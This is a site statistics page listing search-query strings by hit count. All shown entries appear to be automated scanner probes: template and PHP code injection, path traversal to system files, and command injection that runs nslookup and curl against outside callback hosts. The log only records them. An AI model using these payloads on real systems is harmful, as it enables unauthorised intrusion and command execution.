Stats (83684 total)
By Queries [123731 filled values / 300034 total hits]
| Queries | Hits | % |
|---|---|---|
| Submit&query=e&query_type=keyword&record_types[]=%24{9999240%2B9999389} | 1 | 0% |
| Submit&query=e&query_type=keyword&record_types[]=%24{10000322%2B9999090} | 1 | 0% |
| Submit&query=e&query_type=keyword&record_types[]=%24{%40print(md5(31337))}%5C | 3 | 0% |
| Submit&query=e&query_type=keyword&record_types[]=%24{%40print(md5(31337))} | 3 | 0% |
| Submit&query=e&query_type=keyword&record_types[]=%24(nslookup%20-q=cname%20hitplgxnbfnencfebc.bxss.me%7C%7Ccurl%20hitplgxnbfnencfebc.bxss.me) | 1 | 0% |
| Submit&query=e&query_type=keyword&record_types[]=%24(nslookup%20-q=cname%20hitnhhtdtrujbee0c6.bxss.me%7C%7Ccurl%20hitnhhtdtrujbee0c6.bxss.me) | 1 | 0% |
| Submit&query=e&query_type=keyword&record_types[]=%24(nslookup%20-q=cname%20hitbfgsfasadi7bf36.bxss.me%7C%7Ccurl%20hitbfgsfasadi7bf36.bxss.me) | 1 | 0% |
| Submit&query=e&query_type=keyword&record_types[]=/etc/shells | 3 | 0% |
| Submit&query=e&query_type=keyword&record_types[]=/../../../../../../../../../../windows/system32/BITSADMIN.exe | 3 | 0% |
| Submit&query=e&query_type=keyword&record_types[]={php}print(md5(31337));{/php} | 3 | 0% |
